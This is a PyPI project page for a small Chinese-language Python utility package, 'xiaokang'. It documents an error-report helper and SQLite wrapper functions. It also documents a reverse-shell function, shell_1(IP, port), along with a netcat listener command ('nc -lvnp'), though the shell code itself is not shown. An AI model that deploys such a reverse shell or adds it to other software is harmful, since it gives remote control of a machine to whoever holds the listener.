一个简单的 Python 库
Project description
项目简介
把一些常用的功能写成函数
函数大全
XiaoKang/
├── 常用 # 常用的功能
│ └── 报错信息 # 报错的时候执行会显示报错信息
├── sqlite #sqlite数据库的操作
│ ├── db_sql #提供sql语句,执行sql语句
│ ├── db_cj #提供字段和类型,创建数据表
│ ├── db_dq #提供sql语句和查找的值,进行查找数据
│ ├── db_xr #提供表、字段、值,进行写入数据
│ ├── db_xg #提供表、查找字段、查找值,写入字段、写入值,进行写入数据
├── shell #shell反弹
│ └── shell_1 #反弹shell到nc -lvnp 端口
└── 结束
函数讲解
所有的函数讲解怎么使用,和什么功能,你地,明白!?
1.ChangYong(常用)
1.1 BaoCuoXingxi(报错信息)
讲解功能:在代码执行的时候,如果报错可以执行这个,查看详细的报错信息
示例代码:
try:
print('1'+1)
except:
print(BaoCuoXingxi('json'))
输出:
{
"报错类型":"<class 'TypeError'>",
"报错信息":"can only concatenate str (not \"int\") to str",
"报错文件":"C:\\xxx\\xxxx\\xxxxx\\test_1.py",
"报错行数":6
}
2.sqlite(sqlite数据库)
2.1 db_sql(执行sql语句)
db_sql(sql, 数据库='主记录表')
sql:sql的执行语句
数据库:XXX.db文件,默认链接='主记录表'
返回:
(返回执行情况[真/假],返回执行后的数据表)
2.2 db_cj(创建数据表)
db_cj(表名, 字段, 字段类型: dict = {}, 默认值='TEXT', 数据库='主记录表')
表名:创建的表名
字段[]:创建表中的字段
字段类型{}:指定创建字段的类型
默认值:在没有指定的情况下创建字段的默认值='TEXT'
数据库:XXX.db文件,默认链接='主记录表'
返回:
返回创建情况[真/假]
2.3 db_dq(读取数据)
db_dq(sql, value: tuple = '', 数据库='主记录表')
sql:查询数据的sql语句
value():sql语句中的'?'值,防止被注入
数据库:XXX.db文件,默认链接='主记录表'
返回:
(返回执行情况[真/假],返回执行后的数据表)
2.4 db_xr(新增写入数据)
db_xr(表: str, 段: list, 值: list, 数据库='主记录表')
表: 写入数据的表名
段: 写入的字段名
值: 写入的字段值
数据库: 写入的数据库名默认数据库='主记录表'
返回:
(返回执行情况[真/假],返回自增值序号)
2.5 db_xg(修改已有数据)
db_xg(表: str, 查段: list, 查值: tuple, 写段: list, 写值: tuple, 数据库='主记录表')
表: 修改数据的表名
查段: 判断修改数据的字段名
查值: 字段名对应的值确保数据修改
写段: 需要修改的字段名
写值: 修改字段的值
数据库: 需要修改的数据名:默认值='主记录表'
返回:
(返回修改情况[真/假])
3.shell(shell反弹)
3.1 shell_1
用法: python shell.py <IP> <端口>
shell_1(<IP>, <端口>)
服务器开启监听
nc -lvnp 端口
安装方法
pip 安装大法
使用示例
导入函数会吧,不会自己学
依赖说明
目前没用使用其他依赖,都是用本地库
作者信息
作者:小康、米汤、鲁班
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
xiaokang-1.1.1.tar.gz
(7.8 kB
view details)
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file xiaokang-1.1.1.tar.gz.
File metadata
- Download URL: xiaokang-1.1.1.tar.gz
- Upload date:
- Size: 7.8 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.13.3
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
a6eb3b3bffef672a8a2a54a7854b4ce1d5b0926e91ff011f909905bd20d656c7
|
|
| MD5 |
68d28e47efbae1069b0f33908f050edf
|
|
| BLAKE2b-256 |
9d81c4130b0ecf68ba627a284add472b71d1dbfc9ee4a91f804ebc5303d4514f
|
File details
Details for the file xiaokang-1.1.1-py3-none-any.whl.
File metadata
- Download URL: xiaokang-1.1.1-py3-none-any.whl
- Upload date:
- Size: 6.6 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.13.3
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
7d4b9e091253422db97c9d389707e9b7cf7621e73ec6da22a4678f6200366bb7
|
|
| MD5 |
2d020451def804de8fbe7bb630cb63d9
|
|
| BLAKE2b-256 |
53ec151dbafbcc2f6edc6cffde0d9aea00ea13db3aed2c3900fbef2a95a3a700
|